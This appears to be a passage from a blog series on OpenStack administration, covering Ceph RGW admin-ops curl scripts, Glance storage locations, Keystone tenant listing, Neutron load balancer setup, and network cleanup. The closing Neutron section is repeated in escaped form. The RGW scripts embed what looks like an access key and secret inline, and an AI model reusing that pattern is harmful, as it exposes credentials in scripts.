query3="&uid=" query2=admin/user query4=""a-type=user" date=$(date) header="PUT\n\n\n${date}\n/${query2}" sig=$(echo -en ${header} | openssl sha1 -hmac ${secret} -binary | base64) curl -v -H "Date: ${date}" -H "Authorization: AWS ${token}:${sig}" -L -X PUT "http://10.0.2.10/${query2}?format=json${query3}${query}&display-name=${name}" -H "Host: 10.0.2.10" ##Change IPs with your own IPs ``` See quotas ``` #!/bin/bash token=U2JCD4ZG4D1XJOI5XNF4 ## USER_TOKEN secret=+IFgr7POzLWS0i3hQnC+dd3DOAZObHoY5NYm6m3b ## USER_SECRET query=$1 query3="&uid=" query2=admin/user query4=""a-type=user" date=$(date) header="GET\n\n\n${date}\n/${query2}" sig=$(echo -en ${header} | openssl sha1 -hmac ${secret} -binary | base64) curl -v -H "Date: ${date}" -H "Authorization: AWS ${token}:${sig}" -L -X GET "http://10.0.2.10/${query2}?quota${query3}${query}"a-type=user" -H "Host: 10.0.2.10" ##Change IPs with your own IPs ``` See egonzalez user information ``` #!/bin/bash token=U2JCD4ZG4D1XJOI5XNF4 ## USER_TOKEN secret=+IFgr7POzLWS0i3hQnC+dd3DOAZObHoY5NYm6m3b ## USER_SECRET query=$1 query3="&uid=" query2=admin/user date=$(date) header="GET\n\n\n${date}\n/${query2}" sig=$(echo -en ${header} | openssl sha1 -hmac ${secret} -binary | base64) curl -v -H "Date: ${date}" -H "Authorization: AWS ${token}:${sig}" -L -X GET "http://10.0.2.10/${query2}?format=json${query3}${query}" -H "Host: 10.0.2.10" ##Change IPs with your own IPs ``` When you really understand how admin ops works, is not as difficult to use it, just search at the official documentation and modify the desired values. I hope this helps: Regards, Eduardo. # Multiple store locations for glance images In this post i will show you how to add multiple store locations for glance images. This will allow you to extend your glance capacity without affect your current stored images. The location can be any device or directory mounted at your glance host as a NFS, a physical hard disk, or an extended partition. Let's start: First we need to create the directories where hard disks are going to be mounted ``` sudo mkdir /var/lib/glance/lvm-images sudo mkdir /var/lib/glance/extended-images ``` Next, we mount the devices at the directories created in the previous step ``` sudo mount /dev/sdc1 /var/lib/glance/lvm-images/ sudo mount /dev/sdd1 /var/lib/glance/extended-images/ ``` An important step is making the glance user the owner of that directories ``` chown glance:glance /var/lib/glance/lvm-images/ chown glance:glance /var/lib/glance/extended-images/ ``` Once the previous steps has been made, we need to configure the /etc/glance/glance-api.conf file. In this file, we're going to configure glance to use multiple directories to store images. We search the section "Filesystem Store Options" and modify/create the following: We will leave the option "filesystem\_store\_datadir=" empty, if we comment this option, glance will use it as default store location and will show us an error during image creation. And we add the option "filesystem\_store\_datadirs", once for any directory we created in previous steps. We can use priorities on glance, priority 200 has precedence over priority 100, if we don't specify any priority, default will be 0 ``` # ============ Filesystem Store Options ======================== filesystem_store_datadir= filesystem_store_datadirs=/var/lib/glance/images filesystem_store_datadirs=/var/lib/glance/lvm-images:200 filesystem_store_datadirs=/var/lib/glance/extended-images:100 ``` Once we have configured glance-api.conf, restart glance-api service ``` $ glance image-create --name CirrosDatadir --file ~/Images/cirros-0.3.4-i386-disk.img --disk-format qcow2 --container-format bare --progress [=============================>] 100% +------------------+--------------------------------------+ | Property | Value | +------------------+--------------------------------------+ | checksum | 79b4436412283bb63c2cba4ac796bcd9 | | container_format | bare | | created_at | 2015-08-13T11:34:00.000000 | | deleted | False | | deleted_at | None | | disk_format | qcow2 | | id | 6ac8f5b9-5863-46ca-bb04-db352d35d829 | | is_public | False | | min_disk | 0 | | min_ram | 0 | | name | CirrosDatadir | | owner | 738ec25d8b9c41f9b0cf84ce25730e92 | | protected | False | | size | 12506112 | | status | active | | updated_at | 2015-08-13T11:34:09.000000 | | virtual_size | None | +------------------+--------------------------------------+ ``` The image has been properly created at glance, we're going to check if the image has been properly created in the expected location. As we have configured a priority of 200 on this directory, the image must be here. ``` $ ls -lsrt /var/lib/glance/extended-images/ total 12216 12216 -rw-r-----. 1 glance glance 12506112 ago 13 13:34 6ac8f5b9-5863-46ca-bb04-db352d35d829 ``` We have to keep the store location that we have been using till now, the images remain available here. ``` $ ls -lsrt /var/lib/glance/images/ total 12892 12892 -rw-r-----. 1 glance glance 13200896 ago 6 11:09 10a7a49f-2533-4513-881f-c4c6e419b778 ``` Finally we check if the images are in active status ``` glance image-list +--------------------------------------+----------------+-------------+------------------+----------+--------+ | ID | Name | Disk Format | Container Format | Size | Status | +--------------------------------------+----------------+-------------+------------------+----------+--------+ | 10a7a49f-2533-4513-881f-c4c6e419b778 | cirros | qcow2 | bare | 13200896 | active | | 6ac8f5b9-5863-46ca-bb04-db352d35d829 | CirrosDatadir | qcow2 | bare | 12506112 | active | | 9e957bad-d0f8-4294-a438-77ad0d6af02b | CirrosDatadir2 | qcow2 | bare | 12506112 | active | +--------------------------------------+----------------+-------------+------------------+----------+--------+ ``` Regards # List all tenants belonging an user Here is a simple script to list all tenants belonging an user: ``` #!/bin/bash echo -n "Username : " ; read usercheck for userid in $(keystone user-list | grep -w $usercheck | awk '{print$2}') do for tenant in $(keystone tenant-list | awk 'NR>3 && /^|/ {print$2}') do for tenantid in $(keystone user-role-list --user $userid --tenant $tenant | awk 'NR>3 && /^|/ {print$8}') do keystone tenant-list | grep $tenantid | awk '{print$4}' done done done ``` Also you can run all in a simple cmd line ``` echo -n "user name "; read usercheck; for userid in $(keystone user-list | grep $usercheck | awk '{print$2}'); do echo $userid | for tenant in $(keystone tenant-list | awk 'NR>3 && /^|/ {print$2}'); do echo $tenant | for tenantid in $(keystone user-role-list --user $userid --tenant $tenant | awk 'NR>3 && /^|/ {print$8}'); do keystone tenant-list | grep $tenantid | awk '{print$4}'; done ; done ; done ``` If you are a developer, probably you need to list all tenants in a HTTP request, for this purpose you can use the REST API to the port 5000 of keystone ``` curl -i -X GET http://KEYSTONEIP:5000/v2.0/tenants -H "User-Agent: python-keystoneclient" -H "X-Auth-Token: USERTOKEN" ``` I have saved the user token in a OS\_VARIABLE called OS\_TOKEN, if you don't do that, you should input all the token in the HTTP request. ``` curl -i -X GET http://192.168.1.11:5000/v2.0/tenants -H "User-Agent: python-keystoneclient" -H "X-Auth-Token: $OS_TOKEN" ``` # Load balancer as a service OpenStack LbaaS The following guide will show you how to deploy a LoadBalancer in Openstack with Neutron, but first, you should understand how it works, and what his components do. A Load Balancer is composed of the following components: * Pool - A pool is a group of servers(members) who are designed to make the same job, generally, a pool of web servers is used for balancing traffic between the members of the pool. Here we will configure the Load Balancing Method (ROUND\_ROBIN,LEAST\_CONNECTIONS,SOURCE\_IP) * Members - Members are instances, a server, any aplication that you can balance the load. They are assigned as pool members. * VIP - VIPs are Virtual IPs that logically represents the pool members. It is the IP where the load will be balanced between instances. * Healthmonitor - Healthmonitor will check if the members of a pool are healthy, if an member is not working or the port/protocol monitored is down, healthmonitor will send a message to the pool to not balance the load to this member. Now will create a Pool with 2 members, this Pool have a VIP and a Healthmonitor on it. First we create a Pool ``` [stack@localhost devstack]$ neutron lb-pool-create --lb-method ROUND_ROBIN --name LoadBalancerPool --protocol HTTP --subnet-id e5a90ab2-918e-412b-9723-0d822804f022 Created a new pool: +------------------------+--------------------------------------+ | Field                  | Value                                | +------------------------+--------------------------------------+ | admin_state_up         | True                                 | | description            |                                      | | health_monitors        |                                      | | health_monitors_status |                                      | | id                     | 3eb0d41c-3df5-4beb-9758-ebfef56909df | | lb_method              | ROUND_ROBIN                          | | members                |                                      | | name                   | LoadBalancerPool                     | | protocol               | HTTP                                 | | provider               | haproxy                              | | status                 | PENDING_CREATE                       | | status_description     |                                      | | subnet_id              | e5a90ab2-918e-412b-9723-0d822804f022 | | tenant_id              | b1aaddea9f694e60aea5f1c0d1dd7c24     | | vip_id                 |                                      | +------------------------+--------------------------------------+ ``` Next boot 2 instances in the same network ``` [stack@localhost devstack]$ nova boot --flavor m1.tiny --image 6a3a7880-bc6f-454d-9a62-d9c2d268ef78 --security-groups default --nic net-id=daddce32-b6e8-4e3f-bd55-32459ed327ea WebServer1 [stack@localhost devstack]$ nova boot --flavor m1.tiny --image 6a3a7880-bc6f-454d-9a62-d9c2d268ef78 --security-groups default --nic net-id=daddce32-b6e8-4e3f-bd55-32459ed327ea WebServer2 [stack@localhost devstack]$ nova list +--------------------------------------+------------+--------+------------+-------------+------------------+ | ID                                   | Name       | Status | Task State | Power State | Networks         | +--------------------------------------+------------+--------+------------+-------------+------------------+ | c10e63c6-f342-4d1c-ae22-146c392ce398 | WebServer1 | BUILD  | spawning   | NOSTATE     | private=10.0.0.3 | | ceef9e6b-6198-4118-8027-00898dee1abe | WebServer2 | BUILD  | spawning   | NOSTATE     | private=10.0.0.4 | +--------------------------------------+------------+--------+------------+-------------+------------------+ ``` Assign both instances to the Pool ``` [stack@localhost devstack]$ neutron lb-member-create --address 10.0.0.3 --protocol-port 80 LoadBalancerPool Created a new member: +--------------------+--------------------------------------+ | Field              | Value                                | +--------------------+--------------------------------------+ | address            | 10.0.0.3                             | | admin_state_up     | True                                 | | id                 | a6de6bf0-3191-4721-aa01-5781ff05876e | | pool_id            | 3eb0d41c-3df5-4beb-9758-ebfef56909df | | protocol_port      | 80                                   | | status             | PENDING_CREATE                       | | status_description |                                      | | tenant_id          | b1aaddea9f694e60aea5f1c0d1dd7c24     | | weight             | 1                                    | +--------------------+--------------------------------------+ [stack@localhost devstack]$ neutron lb-member-create --address 10.0.0.4 --protocol-port 80 LoadBalancerPool Created a new member: +--------------------+--------------------------------------+ | Field              | Value                                | +--------------------+--------------------------------------+ | address            | 10.0.0.4                             | | admin_state_up     | True                                 | | id                 | 9688a770-6494-4599-88fa-6afcd18c4dd1 | | pool_id            | 3eb0d41c-3df5-4beb-9758-ebfef56909df | | protocol_port      | 80                                   | | status             | PENDING_CREATE                       | | status_description |                                      | | tenant_id          | b1aaddea9f694e60aea5f1c0d1dd7c24     | | weight             | 1                                    | +--------------------+--------------------------------------+ ``` Then create a Healthmonitor and associate it to the Pool ``` [stack@localhost devstack]$ neutron lb-healthmonitor-create --timeout 3 --max-retries 3 --delay 60 --type HTTP Created a new health_monitor: +----------------+--------------------------------------+ | Field          | Value                                | +----------------+--------------------------------------+ | admin_state_up | True                                 | | delay          | 60                                   | | expected_codes | 200                                  | | http_method    | GET                                  | | id             | cb73f8fd-14ea-4937-aa10-019e3da8432f | | max_retries    | 3                                    | | pools          |                                      | | tenant_id      | b1aaddea9f694e60aea5f1c0d1dd7c24     | | timeout        | 3                                    | | type           | HTTP                                 | | url_path       | /                                    | +----------------+--------------------------------------+ [stack@localhost devstack]$ neutron lb-healthmonitor-associate cb73f8fd-14ea-4937-aa10-019e3da8432f LoadBalancerPool Associated health monitor cb73f8fd-14ea-4937-aa10-019e3da8432f ``` Create a VIP to the Pool ``` [stack@localhost devstack]$ neutron lb-vip-create --name LoadBalancerVIP --protocol-port 80 --protocol HTTP --subnet-id e5a90ab2-918e-412b-9723-0d822804f022 LoadBalancerPool Created a new vip: +---------------------+--------------------------------------+ | Field               | Value                                | +---------------------+--------------------------------------+ | address             | 10.0.0.5                             | | admin_state_up      | True                                 | | connection_limit    | -1                                   | | description         |                                      | | id                  | 4e3c2b84-a286-4999-a258-51c44965a81a | | name                | LoadBalancerVIP                      | | pool_id             | 3eb0d41c-3df5-4beb-9758-ebfef56909df | | port_id             | d4ed46ac-aabf-40b6-8f28-1a2013971391 | | protocol            | HTTP                                 | | protocol_port       | 80                                   | | session_persistence |                                      | | status              | PENDING_CREATE                       | | status_description  |                                      | | subnet_id           | e5a90ab2-918e-412b-9723-0d822804f022 | | tenant_id           | b1aaddea9f694e60aea5f1c0d1dd7c24     | +---------------------+--------------------------------------+ ``` Create a floating IP to the VIP ``` [stack@localhost devstack]$ neutron floatingip-create 23101147-e724-4574-82c7-a05ccb661d4d Created a new floatingip: +---------------------+--------------------------------------+ | Field               | Value                                | +---------------------+--------------------------------------+ | fixed_ip_address    |                                      | | floating_ip_address | 172.24.4.3                           | | floating_network_id | 23101147-e724-4574-82c7-a05ccb661d4d | | id                  | 62fbf609-77db-4471-b6ae-9fe25a091a21 | | port_id             |                                      | | router_id           |                                      | | status              | DOWN                                 | | tenant_id           | b1aaddea9f694e60aea5f1c0d1dd7c24     | +---------------------+--------------------------------------+ ``` Associate the floating IP with the VIP port ``` [stack@localhost devstack]$ neutron floatingip-associate 62fbf609-77db-4471-b6ae-9fe25a091a21 d4ed46ac-aabf-40b6-8f28-1a2013971391 Associated floating IP 62fbf609-77db-4471-b6ae-9fe25a091a21 ``` Create security rules to allow HTTP, SSH and ICMP traffic ``` [stack@localhost devstack]$ neutron security-group-rule-create --protocol TCP --port-range-min 80 --port-range-max 80 be0b2264-744a-48b8-9a1e-033227d78f2b Created a new security_group_rule: +-------------------+--------------------------------------+ | Field             | Value                                | +-------------------+--------------------------------------+ | direction         | ingress                              | | ethertype         | IPv4                                 | | id                | 4635cbb6-d939-40b3-ac11-637c8b63b027 | | port_range_max    | 80                                   | | port_range_min    | 80                                   | | protocol          | tcp                                  | | remote_group_id   |                                      | | remote_ip_prefix  |                                      | | security_group_id | be0b2264-744a-48b8-9a1e-033227d78f2b | | tenant_id         | b1aaddea9f694e60aea5f1c0d1dd7c24     | +-------------------+--------------------------------------+ [stack@localhost devstack]$ neutron security-group-rule-create --protocol icmp be0b2264-744a-48b8-9a1e-033227d78f2b Created a new security_group_rule: +-------------------+--------------------------------------+ | Field             | Value                                | +-------------------+--------------------------------------+ | direction         | ingress                              | | ethertype         | IPv4                                 | | id                | 988329a1-d686-4541-8950-a22c721f847b | | port_range_max    |                                      | | port_range_min    |                                      | | protocol          | icmp                                 | | remote_group_id   |                                      | | remote_ip_prefix  |                                      | | security_group_id | be0b2264-744a-48b8-9a1e-033227d78f2b | | tenant_id         | b1aaddea9f694e60aea5f1c0d1dd7c24     | +-------------------+--------------------------------------+ [stack@localhost devstack]$ neutron security-group-rule-create --protocol TCP --port-range-min 22 --port-range-max 22 be0b2264-744a-48b8-9a1e-033227d78f2b Created a new security_group_rule: +-------------------+--------------------------------------+ | Field             | Value                                | +-------------------+--------------------------------------+ | direction         | ingress                              | | ethertype         | IPv4                                 | | id                | d18724dc-2eda-4031-be88-202a73c30c24 | | port_range_max    | 22                                   | | port_range_min    | 22                                   | | protocol          | tcp                                  | | remote_group_id   |                                      | | remote_ip_pref                          | | security_group_id | d7412bb3-9824-4eb7-bc4b-cd80ab6a570d | | tenant_id         | b1aaddea9f694e60aea5f1c0d1dd7c24     | +-------------------+--------------------------------------+ ``` Login to both instances and run the command below to run a "webserver". ``` [stack@localhost devstack]$ ssh cirros@INSTANCEIP The authenticity of host '10.0.0.3 (10.0.0.3)' can't be established. RSA key fingerprint is 94:00:8e:fe:9a:9d:af:ef:bc:e3:fd:9d:ad:d3:ab:a3. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.0.0.3' (RSA) to the list of known hosts. $ while true; do echo -e 'HTTP/1.0 200 OK \r\n\r\nServer1' | sudo nc -l -p 80 ; done $ while true; do echo -e 'HTTP/1.0 200 OK \r\n\r\nServer2' | sudo nc -l -p 80 ; done ``` If we check with curl the VIP's floating IP, we'll see that in every connection one of both servers reply with his name. ``` [stack@localhost ~]$ curl http://172.24.4.3 Server1 [stack@localhost ~]$ curl http://172.24.4.3 Server2 [stack@localhost ~]$ curl http://172.24.4.3 Server1 [stack@localhost ~]$ curl http://172.24.4.3 Server2 ``` # OpenStack nova API start error Could not bind to 0.0.0.0 address all ready in use OpenStack-nova-api doesn't start, this error is from the services boot priority in many times. ``` $ service openstack-nova-api start 2015-03-03 15:05:06.402 3313 ERROR nova.wsgi [-] Could not bind to 0.0.0.0:8775 2015-03-03 15:05:06.402 3313 CRITICAL nova [-] error: [Errno 98] Address already in use $ service openstack-nova-api status openstack-nova-api dead but pid file exists\* ``` This Error happens because openstack-nova-api and openstack-nova-metadata-api use the same ports. You can start nova-api stopping metadata-api service and starting nova-api before, then start again metadata-api service. ``` $ service openstack-nova-metadata-api stop $ service openstack-nova-api start $ service openstack-nova-metadata-api ``` This should fix your issue. After this you can set up boot order to this processes ``` update-rc.d openstack-nova-api defaults [order] ``` Example: If openstack-nova-metadata-api got an order boot of S90 openstack-nova-metadata-api, you should use update-rc to set nova-api start before nova-metadata-api ``` update-rc.d openstack-nova-api defaults 90 ``` This will set the priority of nova-api with the priority of nova-metadata-api, wich means that nova-api will run before metadata-api. # Delete OpenStack neutron networks Fix to unable to complete operation on subnet ``` [root@rdoicehouse ~(keystone_admin)]# neutron router-list +--------------------------------------+------------------+-----------------------------------------------------------------------------+ | id                                   | name             | external_gateway_info                                                       | +--------------------------------------+------------------+-----------------------------------------------------------------------------+ e34d94ad-7fe1-4704-8156-d255a2daa167 | demodeleterouter | {"network_id": "8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc", "enable_snat": true} | --------------------------------------+------------------+-----------------------------------------------------------------------------+ [root@rdoicehouse ~(keystone_admin)]# neutron router-gateway-clear e34d94ad-7fe1-4704-8156-d255a2daa167 Removed gateway from router e34d94ad-7fe1-4704-8156-d255a2daa167 [root@rdoicehouse ~(keystone_admin)]# neutron router-port-list e34d94ad-7fe1-4704-8156-d255a2daa167 If Apply: [[ neutron router-interface-delete ]] [root@rdoicehouse ~(keystone_admin)]# neutron router-delete e34d94ad-7fe1-4704-8156-d255a2daa167 Deleted router: e34d94ad-7fe1-4704-8156-d255a2daa167 [root@rdoicehouse ~(keystone_admin)]# neutron subnet-list +--------------------------------------+------------------+------------------+--------------------------------------------------------+ | id                                   | name             | cidr             | allocation_pools                                       | +--------------------------------------+------------------+------------------+--------------------------------------------------------+ | d50e28f7-47ee-4bdf-8594-e1108f25586b | demosubnetdelete | 192.168.137.0/24 | {"start": "192.168.137.100", "end": "192.168.137.120"} | | c93fd5a7-d672-4b0c-8f2e-6e74f487e45d | private_subnet   | 10.0.0.0/24      | {"start": "10.0.0.2", "end": "10.0.0.254"}             | +--------------------------------------+------------------+------------------+--------------------------------------------------------+ [root@rdoicehouse ~(keystone_admin)]# neutron subnet-delete d50e28f7-47ee-4bdf-8594-e1108f25586b 409-{u'NeutronError': {u'message': u'Unable to complete operation on subnet d50e28f7-47ee-4bdf-8594-e1108f25586b. One or more ports have an IP allocation from this subnet.', u'type': u'SubnetInUse', u'detail': u''}} [root@rdoicehouse ~(keystone_admin)]# neutron port-list +--------------------------------------+------+-------------------+----------------------------------------------------------------------------------------+ | id                                   | name | mac_address       | fixed_ips                                                                              | +--------------------------------------+------+-------------------+----------------------------------------------------------------------------------------+ | 4655e13a-9767-4750-8f44-4eee8410ca70 |      | fa:16:3e:03:c7:cf | {"subnet_id": "d50e28f7-47ee-4bdf-8594-e1108f25586b", "ip_address": "192.168.137.103"} | | 767f2f83-f99a-46d1-b2c2-2e47bae4bb90 |      | fa:16:3e:ff:94:28 | {"subnet_id": "d50e28f7-47ee-4bdf-8594-e1108f25586b", "ip_address": "192.168.137.102"} | +--------------------------------------+------+-------------------+----------------------------------------------------------------------------------------+ [root@rdoicehouse ~(keystone_admin)]# neutron port-delete 767f2f83-f99a-46d1-b2c2-2e47bae4bb90 Deleted port: 767f2f83-f99a-46d1-b2c2-2e47bae4bb90 [root@rdoicehouse ~(keystone_admin)]# neutron port-delete 4655e13a-9767-4750-8f44-4eee8410ca70 409-{u'NeutronError': {u'message': u'Port 4655e13a-9767-4750-8f44-4eee8410ca70 has owner network:floatingip and therefore cannot be deleted directly via the port API.', u'type': u'L3PortInUse', u'detail': u''}} [root@rdoicehouse ~(keystone_admin)]# neutron floatingip-list +--------------------------------------+------------------+---------------------+---------+ | id                                   | fixed_ip_address | floating_ip_address | port_id | +--------------------------------------+------------------+---------------------+---------+ | 0a74679b-b469-4ae5-97a0-08c3aeeb2129 |                  | 192.168.137.103     |         | +--------------------------------------+------------------+---------------------+---------+ [root@rdoicehouse ~(keystone_admin)]# neutron floatingip-delete 0a74679b-b469-4ae5-97a0-08c3aeeb2129 Deleted floatingip: 0a74679b-b469-4ae5-97a0-08c3aeeb2129 [root@rdoicehouse ~(keystone_admin)]# neutron port-list [root@rdoicehouse ~(keystone_admin)]# neutron subnet-delete d50e28f7-47ee-4bdf-8594-e1108f25586b Deleted subnet: d50e28f7-47ee-4bdf-8594-e1108f25586b [root@rdoicehouse ~(keystone_admin)]# neutron net-list +--------------------------------------+------------+--------------------------------------------------+ | id                                   | name       | subnets                                          | +--------------------------------------+------------+--------------------------------------------------+ | 77dd5a93-b63e-44be-84d6-f6ef4fd8771b | private    | c93fd5a7-d672-4b0c-8f2e-6e74f487e45d 10.0.0.0/24 | | 8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc | demodelete |                                                  | +--------------------------------------+------------+--------------------------------------------------+ [root@rdoicehouse ~(keystone_admin)]# neutron net-delete 8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc Deleted network: 8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc ``` \[root\@rdoicehouse \~(keystone\_admin)]# neutron router-gateway-clear e34d94ad-7fe1-4704-8156-d255a2daa167 Removed gateway from router e34d94ad-7fe1-4704-8156-d255a2daa167 \[root\@rdoicehouse \~(keystone\_admin)]# neutron router-port-list e34d94ad-7fe1-4704-8156-d255a2daa167 If Apply: \[\[ neutron router-interface-delete ]] \[root\@rdoicehouse \~(keystone\_admin)]# neutron router-delete e34d94ad-7fe1-4704-8156-d255a2daa167 Deleted router: e34d94ad-7fe1-4704-8156-d255a2daa167 \[root\@rdoicehouse \~(keystone\_admin)]# neutron subnet-list +--------------------------------------+------------------+------------------+--------------------------------------------------------+ | id | name | cidr | allocation\_pools | +--------------------------------------+------------------+------------------+--------------------------------------------------------+ | d50e28f7-47ee-4bdf-8594-e1108f25586b | demosubnetdelete | 192.168.137.0/24 | {"start": "192.168.137.100", "end": "192.168.137.120"} | | c93fd5a7-d672-4b0c-8f2e-6e74f487e45d | private\_subnet | 10.0.0.0/24 | {"start": "10.0.0.2", "end": "10.0.0.254"} | +--------------------------------------+------------------+------------------+--------------------------------------------------------+ \[root\@rdoicehouse \~(keystone\_admin)]# neutron subnet-delete d50e28f7-47ee-4bdf-8594-e1108f25586b 409-{u'NeutronError': {u'message': u'Unable to complete operation on subnet d50e28f7-47ee-4bdf-8594-e1108f25586b. One or more ports have an IP allocation from this subnet.', u'type': u'SubnetInUse', u'detail': u''}} \[root\@rdoicehouse \~(keystone\_admin)]# neutron port-list +--------------------------------------+------+-------------------+----------------------------------------------------------------------------------------+ | id | name | mac\_address | fixed\_ips | +--------------------------------------+------+-------------------+----------------------------------------------------------------------------------------+ | 4655e13a-9767-4750-8f44-4eee8410ca70 | | fa:16:3e:03:c7:cf | {"subnet\_id": "d50e28f7-47ee-4bdf-8594-e1108f25586b", "ip\_address": "192.168.137.103"} | | 767f2f83-f99a-46d1-b2c2-2e47bae4bb90 | | fa:16:3e:ff:94:28 | {"subnet\_id": "d50e28f7-47ee-4bdf-8594-e1108f25586b", "ip\_address": "192.168.137.102"} | +--------------------------------------+------+-------------------+----------------------------------------------------------------------------------------+ \[root\@rdoicehouse \~(keystone\_admin)]# neutron port-delete 767f2f83-f99a-46d1-b2c2-2e47bae4bb90 Deleted port: 767f2f83-f99a-46d1-b2c2-2e47bae4bb90 \[root\@rdoicehouse \~(keystone\_admin)]# neutron port-delete 4655e13a-9767-4750-8f44-4eee8410ca70 409-{u'NeutronError': {u'message': u'Port 4655e13a-9767-4750-8f44-4eee8410ca70 has owner network:floatingip and therefore cannot be deleted directly via the port API.', u'type': u'L3PortInUse', u'detail': u''}} \[root\@rdoicehouse \~(keystone\_admin)]# neutron floatingip-list +--------------------------------------+------------------+---------------------+---------+ | id | fixed\_ip\_address | floating\_ip\_address | port\_id | +--------------------------------------+------------------+---------------------+---------+ | 0a74679b-b469-4ae5-97a0-08c3aeeb2129 | | 192.168.137.103 | | +--------------------------------------+------------------+---------------------+---------+ \[root\@rdoicehouse \~(keystone\_admin)]# neutron floatingip-delete 0a74679b-b469-4ae5-97a0-08c3aeeb2129 Deleted floatingip: 0a74679b-b469-4ae5-97a0-08c3aeeb2129 \[root\@rdoicehouse \~(keystone\_admin)]# neutron port-list \[root\@rdoicehouse \~(keystone\_admin)]# neutron subnet-delete d50e28f7-47ee-4bdf-8594-e1108f25586b Deleted subnet: d50e28f7-47ee-4bdf-8594-e1108f25586b \[root\@rdoicehouse \~(keystone\_admin)]# neutron net-list +--------------------------------------+------------+--------------------------------------------------+ | id | name | subnets | +--------------------------------------+------------+--------------------------------------------------+ | 77dd5a93-b63e-44be-84d6-f6ef4fd8771b | private | c93fd5a7-d672-4b0c-8f2e-6e74f487e45d 10.0.0.0/24 | | 8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc | demodelete | | +--------------------------------------+------------+--------------------------------------------------+ \[root\@rdoicehouse \~(keystone\_admin)]# neutron net-delete 8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc Deleted network: 8b2ceda2-4d77-4c5c-ae21-6a7ba133e4fc